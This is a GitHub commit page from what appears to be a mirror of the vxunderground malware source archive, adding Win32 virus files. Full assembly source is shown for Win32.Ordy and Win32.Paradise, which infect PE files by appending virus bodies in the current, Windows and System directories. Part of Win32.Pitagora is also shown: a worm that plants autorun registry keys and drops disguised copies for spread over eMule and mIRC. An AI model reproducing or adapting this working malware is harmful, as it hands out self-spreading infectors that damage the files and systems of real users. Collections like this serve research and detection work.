13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-20 14:08:37 +00:00

Add files via upload

This commit is contained in:
vxunderground 2020-10-10 22:09:34 -05:00 committed by GitHub
parent 3cac606e5f
commit e6e7892f53
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
46 changed files with 86936 additions and 0 deletions

2420
Win32/Win32.Norther.ASM Normal file

File diff suppressed because it is too large Load Diff

2123
Win32/Win32.Omoikane.asm Normal file

File diff suppressed because it is too large Load Diff

1037
Win32/Win32.Orange.asm Normal file

File diff suppressed because it is too large Load Diff

428
Win32/Win32.Ordy.asm Normal file

@ -0,0 +1,428 @@
comment "
Win32.ordy by mort[MATRiX]
- simple direct action current dir last section PE appender
- using ordinal API values to access API
Well, in viriis there's mostly use some stuff to find APIs no matter
of kernel32.dll type,... I use APIs' ordinal values to access APIs.
API's address is counted right before it's used,...
When i searched for this values in different versions of widows,
i found they differ, so i included all ord values i was able to find.
U find them in ord.zip file in tools section.
I cant test thiss virii on all windoze versions. This one seems to be
good under win2k, anyway if u wanna run it under another, recheck
API's count,...
greetz All who helped me to create ordinal log
MiCr0s0fT - i founded my CreateFileA API DF sensitive,...
r there more? :)))
"
.486
.model flat,stdcall
extrn ExitProcess : proc
extrn MessageBoxA : proc
filetime struc
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
filetime ends
fileSearch struc
FileAttributes dd ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh dd ?
FileSizeLow dd ?
Reserved0 dd ?
Reserved1 dd ?
FileName db 0260h dup(?)
AlternateFileName db 13 dup(?)
db 3 dup(?)
fileSearch ends
_vSize = ((@retAdd - @ordy) / 0200h + 1) * 0200h
_DEBUG = 0
.data
dd ?
.code
@ordy:
mov eax,@retAdd - @ordy
push offset @retAdd
_retAddress equ $ - 4
pushad
call @SEH
add esp,8
mov esp,[esp]
pop dword ptr fs:[0]
pop eax
popad
ret
if _DEBUG
db 01000h dup(0) ;coz of debug symbols,...:(
endif
@SEH:
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
xor eax,eax
call @findKernel
@delta label
mov ebp,[esp - 4] ;get delta handle
mov [ebp + _kBase - @delta],eax
mov ebx,eax ;get kernel values,...
add eax,dword ptr [eax + 03ch]
add eax,078h
mov eax,[eax]
add eax,ebx
add eax,018h
xchg eax,esi
lodsd
push eax
lodsd
add eax,ebx
mov [ebp + _addBase - @delta],eax
pop eax
lea edi,[ebp + _ordinals - @delta - (_ordEnd - _ordStart - 2)]
@nextOrdinal:
add edi,(_ordEnd - _ordStart) - 2
scasw
jnz @nextOrdinal
mov [ebp + _ordinalBase - @delta],edi
push 02000h
push 040h
mov eax,_GlobalAlloc
call @callAPI
push eax ;for GlobalFree
push eax
call @mask
db '*.*',0
@mask:
mov eax,_FindFirstFileA
call @callAPI
xchg eax,esi
@examine:
mov eax,[esp]
mov al,byte ptr [eax + FileAttributes]
and al,010h
cmp al,010h
jnz @fileFounded
@nextFile:
push dword ptr [esp]
push esi
mov eax,_FindNextFileA
call @callAPI
dec eax
jz @examine
mov eax,_GlobalFree
call @callAPI
xor eax,eax
sub eax,[esp + 030h] ;cause exception
@findKernel:
add eax,[esp + 030h]
and eax,0fffff000h
@nextPage:
sub eax,01000h
cmp word ptr [eax],'ZM'
jnz @nextPage
ret
;------------------------------------------------------------------------
@rw:
; edi - file handle
; eax - ReadFile/WriteFile
; edx - buffer
; ecx - size
pushad
push 0
call @fw
dd ?
@fw:
push ecx edx edi
call @callAPI
popad
ret
;------------------------------------------------------------------------
@fileFounded:
if _DEBUG
mov eax,[esp]
cmp dword ptr [eax + FileName],'SOHG'
jz @oki
jmp @nextFile
@oki:
endif
mov ebx,[esp]
mov eax,[ebx + FileSizeLow]
cmp eax,04000h
jb @nextFile
mov eax,dword ptr [ebx + FileName]
and dword ptr [ebx + LastWriteTime],eax
jz @nextFile
or dword ptr [ebx + LastWriteTime],eax
mov edx,_ReadFile
xchg eax,ebx
add eax,01000h
xchg eax,edx
call @openRW
push edx
push edi
mov eax,_CloseHandle
call @callAPI
pop edx
cld
mov edi,edx
mov eax,'EPZM'
scasw
jnz @nextFile
shr eax,010h
std
add edi,dword ptr [edi + 03ah]
scasw
scasw
jnz @nextFile
mov eax,[edi + 076h]
shl eax,3
add eax,052h
xchg eax,ebx
movzx eax,word ptr [edi + 8]
imul eax,028h
xadd ebx,eax
mov eax,_vSize
add [edi + 052h],eax ;add imagesize
xadd [ebx + edi + 010h],eax ;eax - old size
push eax
add eax,[ebx + edi + 014h] ;add phys. offset
mov [ebp + _virBodyPofs - @delta],eax
pop eax
add eax,[ebx + edi + 0ch]
xchg eax,[edi + 02ah] ;set/get entrypoint
add eax,[edi + 036h]
mov [ebp + _retAddress - @delta],eax ;set it,...
add dword ptr [ebx + edi + 08h],01000h ;add virtual size
or dword ptr [ebx + edi + 024h],0a0000020h
lea eax,[ebp + @finalInfection - @delta]
push eax
mov eax,_WriteFile
@openRW:
mov ecx,01000h
cld ;coz of CreateFileA DF sensitivity,...:)))
call @open
call @rw
ret
;------------------------------------------------------------------------
@setA:
push ebx
push eax
mov eax,_SetFileAttributesA
call @callAPI
ret
;-----------------------------------------------------------------------
_CloseHandle = 0 ;API handles
_CreateFileA = 2
_GlobalAlloc = 4
_GlobalFree = 6
_WriteFile = 8
_ReadFile = 0ah
_FindFirstFileA = 0ch
_FindNextFileA = 0eh
_SetEndOfFile = 010h
_SetFileTime = 012h
_SetFileAttributesA = 014h
_ordSize equ _ordEnd - _ordStart
;shl 2
_ordinals label
_ordStart label
_ordinals95 label
dw 0682 ;APIs num
dw 088h * 4 ;CloseHandle
dw 09dh * 4 ;CreateFileA
dw 01b5h * 4 ;GlobalAlloc
dw 01bch * 4 ;GlobalFree
dw 02e3h * 4 ;WriteFile
dw 0242h * 4 ;ReadFile
dw 0f9h * 4 ;FindFirstFileA
dw 0fch * 4 ;FindNextFile
dw 0281h * 4 ;SetEndOfFile
dw 028bh * 4 ;SetFileTime
dw 0288h * 4 ;SetFileAttributesA
_ordEnd label
_ordinals98 label ;(r1,SE)
dw 0745 ;APIs num
dw 09fh * 4 ;CloseHandle
dw 0b8h * 4 ;CreateFileA
dw 01e5h * 4 ;GlobalAlloc
dw 01ech * 4 ;GlobalFree
dw 0335h * 4 ;WriteFile
dw 027dh * 4 ;ReadFile
dw 011bh * 4 ;FindFirstFileA
dw 0120h * 4 ;FindNextFile
dw 02c5h * 4 ;SetEndOfFile
dw 02cfh * 4 ;SetFileTime
dw 02cch * 4 ;SetFileAttributesA
_ordinalsNT label
dw 02a1h ;APIs num
dw 018h * 4 ;CloseHandle
dw 031h * 4 ;CreateFileA
dw 0155h * 4 ;GlobalAlloc
dw 015ch * 4 ;GlobalFree
dw 027bh * 4 ;WriteFile
dw 01d6h * 4 ;ReadFile
dw 082h * 4 ;FindFirstFileA
dw 087h * 4 ;FindNextFile
dw 0210h * 4 ;SetEndOfFile
dw 021ah * 4 ;SetFileTime
dw 0217h * 4 ;SetFileAttributesA
_ordinals2k label
dw 0337h ;APIs num
dw 01eh * 4 ;CloseHandle
dw 037h * 4 ;CreateFileA
dw 019ch * 4 ;GlobalAlloc
dw 01a3h * 4 ;GlobalFree
dw 030eh * 4 ;WriteFile
dw 023dh * 4 ;ReadFile
dw 0a3h * 4 ;FindFirstFileA
dw 0ach * 4 ;FindNextFile
dw 028ch * 4 ;SetEndOfFile
dw 0297h * 4 ;SetFileTime
dw 0293h * 4 ;SetFileAttributesA
;------------------------------------------------------------------------
@open:
;eax - filename
pushad
mov eax,[esp + 028h]
add eax,FileName
push 0 0 3 0 1
push 080000000h or 040000000h
push eax
mov ebx,020h
call @setA
mov eax,_CreateFileA
call @callAPI
mov [esp],eax ;handle to edi
popad
ret
;-------------------------------------------------------
;eax - API handle
@callAPI:
pop edi
add eax,012345678h
_ordinalBase equ $ - 4
movzx eax,word ptr [eax]
add eax,012345678h
_addBase equ $ - 4
mov eax,[eax]
add eax,012345678h
_kBase equ $ - 4
call eax
jmp edi
;----------------------------------------------------------------
@finalInfection:
mov eax,012345678h
_virBodyPofs equ $ - 4
sub eax,01000h
push eax
mov eax,_ReadFile
xor ecx,ecx
inc ecx
@nextByte2Seek:
call @rw
dec dword ptr [esp]
jnz @nextByte2Seek
pop eax
mov ecx,_vSize
lea edx,[ebp + @ordy - @delta]
add eax,_WriteFile
call @rw
push esi
push edi edi
mov eax,_SetEndOfFile
call @callAPI
mov ebx,[esp]
mov eax,[esp + 0ch]
add eax,LastWriteTime
push eax
sub eax,8
push eax
sub eax,8
push eax
push ebx
mov eax,_SetFileTime
call @callAPI
mov eax,_CloseHandle
call @callAPI
mov ebx,[esp + 4]
mov eax,[ebx + FileAttributes]
xchg eax,ebx
add eax,FileName
call @setA
pop esi ;restore search handle
@fuckFile:
jmp @nextFile
@retAdd:
push 0
call @title
db '.ordy by mort[MATRiX]',0
@title:
call @mess
db 'hey guys, CreateFileA API is DF sensitive!!! :)))',0
@mess:
push 0
call MessageBoxA
call ExitProcess,0
ret
end @ordy

823
Win32/Win32.Paradise.asm Normal file

@ -0,0 +1,823 @@
; [Win32.Paradise] - Bugfixed and improved version of Iced Earth
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; ?????? Welcome to another Billy's production.
; ???? ??????? ??? Enjoy this new...
; ????????????????????
; ? ???????????????? ???
; ? ????????????? ?
; ??????? ?? ?????? ??? ??? ????? ??? ??? ?????? ??????
; ??????? ?? ?? ???? ? ??? ? ?? ?? ? ??? ? ??????? ???????
; ? ? ?? ? ? ??? ? ?? ?? ? ??? ? ??????? ??????? ???
; ?? ??????? ????? ??????? ??????? ??????? ???
; ?? ??? ??????? ??????? ??????? ??????? ?????? ????? ??????? ???????
; ??????????? ? ??? ? ? ??? ? ? ??? ? ? ??? ? ? ?? ?? ?? ?? ? ????? ? ?????
; ????? ?? ???? ? ????? ? ??? ? ? ? ??? ? ??? ? ? ??? ? ?? ?? ????? ? ? ?????
; ??? ??? ??? ??????? ??? ??? ??????? ????? ??????? ???????
;
; Virus Name : Paradise
; Virus Author : Billy Belcebu/iKX
; Origin : Spain
; Platform : Win32
; Target : PE files
; Compiling : TASM 5.0 and TLINK 5.0 should be used
; tasm32 /ml /m3 paradise,,;
; tlink32 /Tpe /aa /c /v paradise,paradise,,import32.lib,
; Notes : Not very innovative, just made for practice some things, as
; CRC32 GetAPI engine, and such like. The name comes from one
; of the best songs i've ever heard, and probably my favouri-
; te song of Stratovarius. Its lyrics are, sadly, an actual
; reality: we are killing the nature slowly and without any
; kind of mercy, thinking that we can make any use of every-
; thing around without any responsability...
; Greetings : It is very clear... to all the Stratovaius fans (specially
; to Int13h and Owl) and all the ecologist activists.
; Fucks : To everything related to the bullfights, the greatest act
; of the human barbarism with the animals, the spanish's
; national shame; and to all the acts that go againist the
; rights of the animals and/or the vegetables, as well as
; with the persons (goddamn fascisms!).
;
; Rojo, sangre
; un color muy nacional
; morbo, suerte
; sol y arena pide Dios
; arte, muerte
; sirve de alimento
; pase, valiente,
; y vuelta al ruedo!!!
; Cuando el acero me traspasa el corazon
; y se le llama fiesta
; y otra vuelta de tuerca
; cuando el sadismo se convierte en tradicion
; y la faena en gesta
; y nadie se molesta
; -Reincidentes-
;
.586p
.model flat
; ??----?????? ?
; : Paradise virus - Data, macros and such like shit :
; ? ??????---???
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
virus_size equ (offset virus_end-offset virus_start)
heap_size equ (offset heap_end-offset heap_start)
total_size equ virus_size+heap_size
shit_size equ (offset delta-offset Paradise)
section_flags equ 00000020h or 20000000h or 80000000h
temp_attributes equ 00000080h
n_infections equ 04h
mark equ 04Ch
; Only hardcoded for 1st generation, don't worry ;)
kernel_ equ 0BFF70000h
kernel_wNT equ 077F00000h
; Interesting macros for my code
cmp_ macro reg,joff1 ; Optimized version of
inc reg ; CMP reg,0FFFFFFFFh
jz joff1 ; JZ joff1
dec reg ; The code is reduced in 3
endm ; bytes (7-4)
apicall macro apioff ; Optimize muthafucka!
call dword ptr [ebp+apioff]
endm
.data
szTitle db "Paradise v1.00",0
szMessage db "Paradise - Visions - Stratovarius",10
db "Virus size............"
db virus_size/1000 mod 10 + "0"
db virus_size/0100 mod 10 + "0"
db virus_size/0010 mod 10 + "0"
db virus_size/0001 mod 10 + "0"
db " bytes",0
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
.code
; ??----?????? ?
; : Paradise virus - Virus startz here :
; ? ??????---???
virus_start label byte
Paradise:
pushad ; Push all da shit
pushfd
call delta_ ; Hardest code to undestand ;)
delta: db "[iKX4EVER" ; Yeah... iKX :)
delta_: pop ebp
mov eax,ebp
sub ebp,offset delta
sub eax,shit_size ; Obtain at runtime the
sub eax,00001000h ; imagebase of the process
NewEIP equ $-4
mov dword ptr [ebp+ModBase],eax
call ChangeSEH ; SEH rlz :)
mov esp,[esp+08h]
jmp RestoreSEH
ChangeSEH:
xor ebx,ebx
push dword ptr fs:[ebx]
mov fs:[ebx],esp
mov esi,[esp+2Ch] ; Get program return address
and esi,0FFFF0000h ; Align to page
mov ecx,5
call GetK32
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
lea esi,[ebp+@@NamezCRC32]
lea edi,[ebp+@@Offsetz]
call GetAPIs ; Retrieve all APIs
call PrepareInfection
call InfectItAll
call payload
or ebp,ebp ; Is 1st gen?
jz fakehost
RestoreSEH:
xor ebx,ebx
pop dword ptr fs:[ebx]
pop eax
popfd
popad
mov ebx,12345678h
org $-4
OldEIP dd 00001000h
add ebx,12345678h
org $-4
ModBase dd 00400000h
push ebx
ret
; ??----?????? ?
; : Paradise virus - Retrieve directories to infect :
; ? ??????---???
PrepareInfection:
lea edi,[ebp+WindowsDir]
push 7Fh
push edi
apicall _GetWindowsDirectoryA
add edi,7Fh
push 7Fh
push edi
apicall _GetSystemDirectoryA
add edi,7Fh
push edi
push 7Fh
apicall _GetCurrentDirectoryA
ret
; ??----?????? ?
; : Paradise virus - Infect windows, windows\system and the current dir :
; ? ??????---???
InfectItAll:
lea edi,[ebp+directories]
mov byte ptr [ebp+mirrormirror],dirs2inf
requiem:
push edi
apicall _SetCurrentDirectoryA
push edi
call Infect
pop edi
add edi,7Fh
dec byte ptr [ebp+mirrormirror]
cmp byte ptr [ebp+mirrormirror],00h
jnz requiem
ret
; ??----?????? ?
; : Paradise virus - Searching... Seek and infect! :
; ? ??????---???
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
push eax
lea eax,[ebp+offset EXE_MASK]
push eax
apicall _FindFirstFileA
cmp_ eax,FailInfect
mov dword ptr [ebp+SearchHandle],eax
__1: push dword ptr [ebp+ModBase]
push dword ptr [ebp+OldEIP]
push dword ptr [ebp+NewEIP]
call Infection
pop dword ptr [ebp+NewEIP]
pop dword ptr [ebp+OldEIP]
pop dword ptr [ebp+ModBase]
inc byte ptr [ebp+infections]
cmp byte ptr [ebp+infections],n_infections
jz FailInfect
__2: lea edi,[ebp+WFD_szFileName]
mov ecx,MAX_PATH
xor al,al
rep stosb
lea eax,[ebp+offset WIN32_FIND_DATA]
push eax
push dword ptr [ebp+SearchHandle]
apicall _FindNextFileA
or eax,eax
jz CloseSearchHandle
jmp __1
CloseSearchHandle:
push dword ptr [ebp+SearchHandle]
apicall _FindClose
FailInfect:
ret
; ??----?????? ?
; : Paradise virus - Infect found file :
; ? ??????---???
Infection:
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
push 80h
push esi
apicall _SetFileAttributesA ; Wipe its attributes
call OpenFile ; Open it
cmp_ eax,CantOpen
mov dword ptr [ebp+FileHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
call CreateMap ; its exact size
cmp_ eax,CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call MapFile ; Map it
cmp_ eax,UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,eax ; Get PE Header
mov esi,[esi+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; Is it PE?
jnz NoInfect
cmp dword ptr [esi+mark],"SDRP" ; Was it infected?
jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress] ; Close all
apicall _UnmapViewOfFile
push dword ptr [ebp+MapHandle]
apicall _CloseHandle
pop ecx
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
add eax,virus_size
call Align
xchg ecx,eax
call CreateMap
cmp_ eax,CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+NewSize]
call MapFile
cmp_ eax,UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,eax ; Get PE Header
mov esi,[esi+3Ch]
add esi,eax
mov edi,esi
movzx eax,word ptr [edi+06h]
dec eax
imul eax,eax,28h
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,3
add esi,edx
mov eax,[edi+28h]
mov dword ptr [ebp+OldEIP],eax
mov edx,[esi+10h]
mov ebx,edx
add edx,[esi+14h]
push edx
mov eax,ebx
add eax,[esi+0Ch]
mov [edi+28h],eax
mov dword ptr [ebp+NewEIP],eax
mov eax,[esi+10h]
add eax,virus_size
mov ecx,[edi+3Ch]
call Align
mov [esi+10h],eax
mov [esi+08h],eax
pop edx
mov eax,[esi+10h]
add eax,[esi+0Ch]
mov [edi+50h],eax
or dword ptr [esi+24h],section_flags
mov dword ptr [edi+mark],"SDRP"
lea esi,[ebp+Paradise]
xchg edi,edx
add edi,dword ptr [ebp+MapAddress]
mov ecx,virus_size
rep movsb
jmp UnMapFile
NoInfect:
dec byte ptr [ebp+infections]
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call TruncFile
UnMapFile:
push dword ptr [ebp+MapAddress]
apicall _UnmapViewOfFile
CloseMap:
push dword ptr [ebp+MapHandle]
apicall _CloseHandle
CloseFile:
push dword ptr [ebp+FileHandle]
apicall _CloseHandle
CantOpen:
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax,[ebp+WFD_szFileName]
push eax
apicall _SetFileAttributesA
ret
; ??----?????? ?
; : Paradise virus - Get KERNEL32.DLL base address (simplest method) :
; ? ??????---???
GetK32 proc
_@1: jecxz WeFailed
cmp word ptr [esi],"ZM"
jz CheckPE
_@2: sub esi,10000h
dec ecx
jmp _@1
CheckPE:
mov edi,[esi+3Ch]
add edi,esi
cmp dword ptr [edi],"EP"
jz WeGotK32
jmp _@2
WeFailed:
mov ecx,cs
xor cl,cl
jecxz WeAreInWNT
mov esi,kernel_
jmp WeGotK32
WeAreInWNT:
mov esi,kernel_wNT
WeGotK32:
xchg eax,esi
ret
GetK32 endp
; ??----?????? ?
; : Paradise virus - Get all API addresses :
; ? ??????---???
GetAPIs proc
@@1: lodsd ; Get in EAX the CRC32 of API
push esi
push edi
call GetAPI_ET_CRC32
pop edi
pop esi
stosd ; Save in [EDI] the API address
cmp byte ptr [esi],0BBh ; Last API?
jz @@4 ; Yeah, get outta here
jmp @@1 ; Nein, loop again
@@4: ret
GetAPIs endp
GetAPI_ET_CRC32 proc
xor edx,edx
xchg eax,edx ; Put CRC32 of da api in EDX
mov word ptr [ebp+Counter],ax ; Reset counter
mov esi,3Ch
add esi,[ebp+kernel] ; Get PE header of KERNEL32
lodsw
add eax,[ebp+kernel] ; Normalize
mov esi,[eax+78h] ; Get a pointer to its
add esi,1Ch ; Export Table
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+kernel] ; Normalize
stosd ; And store in its variable
lodsd ; Get NameTable value
add eax,[ebp+kernel] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable
lodsd ; Get OrdinalTable value
add eax,[ebp+kernel] ; Normalize
stosd ; Store
pop esi ; ESI = NameTable VA
@?_3: push esi ; Save again
lodsd ; Get pointer to an API name
add eax,[ebp+kernel] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX
push edi ; Save EDI
xor al,al ; Reach the null character
scasb ; that marks us the end of
jnz $-1 ; the api name
pop esi ; ESI = Pointer to API Name
sub edi,ebx ; EDI = API Name size
push edx ; Save API's CRC32
call CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it
pop esi ; Restore ptr to api name
add esi,4 ; Get the next
inc word ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
movzx eax,word ptr [ebp+Counter] ; AX = Counter
shl eax,1 ; *2 (it's an array of words)
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
shl eax,2 ; And with it we go to the
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+kernel] ; and normalize!! That's it!
ret
GetAPI_ET_CRC32 endp
; ??----?????? ?
; : Paradise virus - Some useful subroutines :
; ? ??????---???
Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
apicall _SetFilePointer
push dword ptr [ebp+FileHandle]
apicall _SetEndOfFile
ret
TruncFile endp
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
apicall _CreateFileA
ret
OpenFile endp
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
apicall _CreateFileMappingA
ret
CreateMap endp
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr [ebp+MapHandle]
apicall _MapViewOfFile
ret
MapFile endp
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; Another fool byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
payload proc
lea eax,[ebp+SYSTEMTIME]
push eax
apicall _GetSystemTime
cmp word ptr [ebp+ST_wMonth],6 ; On the sixth month...
jnz no_payload
cmp word ptr [ebp+ST_wDay],6 ; On the sixth day...
jnz no_payload
lea eax,[ebp+szUSER32]
push eax
apicall _LoadLibraryA
call @?_1
db "MessageBoxA",0
@?_1: push eax
apicall _GetProcAddress
push 00001000h
lea ebx,[ebp+mark_]
push ebx
lea ebx,[ebp+song]
push ebx
push 00000000h
call eax
no_payload:
ret
payload endp
; ??----?????? ?
; : Paradise virus - Virus data :
; ? ??????---???
mark_ db "[Win32.Paradise v1.00]",0
song db "Late at night i found myself again",10
db "wondering and watching TV",10
db "I can't believe what's on the screen",10
db "something that i wouldn't like to see",10
db "Many rare species will perish soon",10
db "and we'll be short on food",10
db "Why do we have to be so selfish",10
db "we have to change our attitude",10
db "I know that i am not",10
db "the only one that's worried",10
db "Why don't we all",10
db "wake up, and and realize",10
db "Like the birds in the sky",10
db "we are flying so high",10
db "without making anykind of sacrifice",10
db "We've got so little time",10
db "to undo this crime",10
db "or we'll lose our paradise",10
db "It seems to me that there's no sense at all",10
db "nobody cares, it's always the same",10
db "Mother nature's crying out in pain",10
db "I know we are the ones to blame",10,10
db "Paradise [ Stratovarius ]",0
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
EXE_MASK db "*.EXE",0
szUSER32 db "USER32",0
@@NamezCRC32 label byte
@FindFirstFileA dd 0AE17EBEFh
@FindNextFileA dd 0AA700106h
@FindClose dd 0C200BE21h
@CreateFileA dd 08C892DDFh
@DeleteFileA dd 0DE256FDEh
@SetFilePointer dd 085859D42h
@SetFileAttributesA dd 03C19E536h
@CloseHandle dd 068624A9Dh
@GetCurrentDirectoryA dd 0EBC6C18Bh
@SetCurrentDirectoryA dd 0B2DBD7DCh
@GetWindowsDirectoryA dd 0FE248274h
@GetSystemDirectoryA dd 0593AE7CEh
@CreateFileMappingA dd 096B2D96Ch
@MapViewOfFile dd 0797B49ECh
@UnmapViewOfFile dd 094524B42h
@SetEndOfFile dd 059994ED6h
@GetProcAddress dd 0FFC97C1Fh
@LoadLibraryA dd 04134D1ADh
@GetSystemTime dd 075B7EBE8h
db 0BBh
align dword
virus_end label byte
heap_start label byte
kernel dd kernel_
infections dd 00000000h
NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h
Counter dw 0000h
@@Offsetz label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_CreateFileA dd 00000000h
_DeleteFileA dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
_GetProcAddress dd 00000000h
_LoadLibraryA dd 00000000h
_GetSystemTime dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
directories label byte
WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf
SYSTEMTIME label byte
ST_wYear dw ?
ST_wMonth dw ?
ST_wDayOfWeek dw ?
ST_wDay dw ?
ST_wHour dw ?
ST_wMinute dw ?
ST_wSecond dw ?
ST_wMilliseconds dw ?
heap_end label byte
fakehost:
pop dword ptr fs:[0]
pop eax
popfd
popad
xor eax,eax
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
push 00000000h
call ExitProcess
end Paradise
; Komandos de autodefensa animal!

3263
Win32/Win32.Parrot.asm Normal file

File diff suppressed because it is too large Load Diff

490
Win32/Win32.Pitagora.asm Normal file

@ -0,0 +1,490 @@
;;; un piccolo worm in assembler ... (cazzuto ma non troppo :-))
.586
.model flat
;;;; API NECESSARIE ! ;;;;
extrn ExitProcess:PROC
extrn ShellAboutA:PROC
extrn CopyFileA:PROC
extrn GetCommandLineA:PROC
extrn lstrcpy:PROC
extrn lstrlen:PROC
extrn lstrcat:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetSystemDirectoryA:PROC
extrn RegOpenKeyA:PROC
extrn RegSetValueExA:PROC
extrn RegSetValueA:PROC
extrn RegCloseKey:PROC
extrn RegQueryValueExA:PROC
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn CreateThread:PROC
extrn Sleep:PROC
extrn WriteFile:PROC
extrn CreateMutexA:PROC
extrn GetLastError:PROC
extrn CreateToolhelp32Snapshot:PROC
extrn Process32First:PROC
extrn Process32Next:PROC
extrn GetCurrentProcessId:PROC
extrn OpenProcess:PROC
extrn TerminateProcess:PROC
extrn lstrcmpi:PROC
;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; Costanti ;;;;
MAX_PATH equ 260
HKEY_LOCAL_MACHINE equ 80000002h
HKEY_CURRENT_USER equ 80000001h
REG_SZ equ 1
OPEN_EXISTING equ 3
CREATE_NEW equ 1
CREATE_ALWAYS equ 2
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
FILE_SHARE_READ equ 1
FILE_SHARE_WRITE equ 2
ERROR_ALREADY_EXISTS equ 183
PROCESS_ALL_ACCESS equ 00000000h
;;;;;;;;;;;;;;;;;;
.data
;;;; Variabili e MsgS ;;;;
MyPath db 260 dup(?)
WinPATH db 260 dup(?)
SysPATH db 260 dup(?)
WormName1 db "\sys.exe",0
WormName2 db "\mon.exe",0
StartUpKey db "Software\Microsoft\Windows\CurrentVersion\Run", 0
CheckFile db "\Pitagora.teo",0
CheckFilePath db 260 dup(?)
KeyName db "SystemMonitor",0
Msg db "You have been infected by Pitagora !!! by WarGame !!!!",0
Titolo db "Is the war right ???? Think about this ...",0
HKey dd 00000000h
Tid dd 00000000h
CopyName db "C:\AVG-Antivirus.exe",0
MSG_Interno db "Anti Soviet and Anti American !!!",0
Drive db 'C'
MircPath db 260 dup(?)
MircKey db "Software\Microsoft\Windows\CurrentVersion\Uninstall\mIRC",0
MircKeyName db "UninstallString",0
EmuleKey db "Software\eMule",0
EmuleKeyName db "Install Path",0
EmuleWorm db "\Incoming\WINDOWS_VISTA_CRACK.exe",0
EmulePath db 260 dup (?)
BufLen dd 260
ScriptIni db "script.ini",0
